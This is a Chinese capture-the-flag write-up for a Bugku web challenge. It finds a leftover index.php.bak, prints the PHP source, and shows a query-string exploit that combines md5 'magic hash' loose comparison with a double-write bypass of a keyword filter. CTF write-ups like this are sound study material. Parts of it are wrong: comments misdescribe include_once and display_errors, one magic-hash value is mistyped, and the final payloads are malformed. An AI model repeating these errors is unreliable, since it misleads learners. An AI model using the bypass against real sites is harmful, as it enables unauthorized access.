Bugku web16 备份是个好习惯
打开网页是怎么个玩意,看格式好像是md5先不管。
因为题目是讲的备份文件,那就用路径扫描工具扫一下
扫描出了一个index.php.bak 应该是这个没错了
果然是,下载下来后是一个index.php文件,代码如下 // 代码是我加上去的
<?php
include_once "flag.php"; // include 文件包含 加_once 的意思是不区分大小写
ini_set("display_errors",0); // 显示所有错误信息
$str = strstr($_SERVER['REQUEST_URI'],'?');
// $_SERVER['REQUEST_URL'] 查看当前url 例如当前页面是http://www.zixueku.com/plus/search.php?kwtype=0&keyword=php&searchtype=titlekeyword
// 结果就是plus/search.php?kwtype=0&keyword=php&searchtype=titlekeyword
$str = substr($str,1); // 从变量$str 第一个字符开始计算
$str = str_replace('key','',$str); // 把变量 $str 中的key 替换为空 只执行一遍可以双写绕过
parse_str($str); // 解析$str
echo md5($key1);
echo "<br/>";
echo md5($key2);
if (md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
先看到最后一句
if (md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
这个意思是,当我们传入参数条件是:md5加密过的 key1 要等于 key2,并且 没加密的key1 和 key2 不能相等,这里网上找了4个,随便输两个就可以
// 240610708 和 QNKCDZO md5值类型相似,但并不相同,在“==”相等操作符的运算下,结果返回了true。
// 这是个经典的漏洞,只需要找到md5值为0exxx(xxx全为数字,共30位),这里我提供4个都可以通过的值:240610708、QNKCDZO、aabg7XSs、aabC9RqS
// 240640708 的md5值为 0e462097431906509019562988736854
// QNKCDZO 的md5值为 0e830400451993494058024219903391
// aabg7XSs 的md5值为 0e087386482136013740957780965295
// aabC9RqS 的md5值为 0e041022518165728065344349536299
那我们直接填入?key1=240640708&&key2QNKCDZO 按道理这样就能拿到flag的
但是代码还有一句
$str = str_replace('key','',$str);
当我们传入的参数带有key就会被替换为空(这™绝对是来捣乱的)
不过没关系我们可以双写绕过
原来代码 ?key1=240640708&&key2=QNKCDZO
把代码改成 ?kekey y1=240640708&&kekey y2QNKCDZO,—— 掉的表示被替换为空的
当把我的key变成空之后,ke y1就合成了一对,这样往下执行就又变成了
?key1=240640708&&key2=QNKCDZO 拿到falg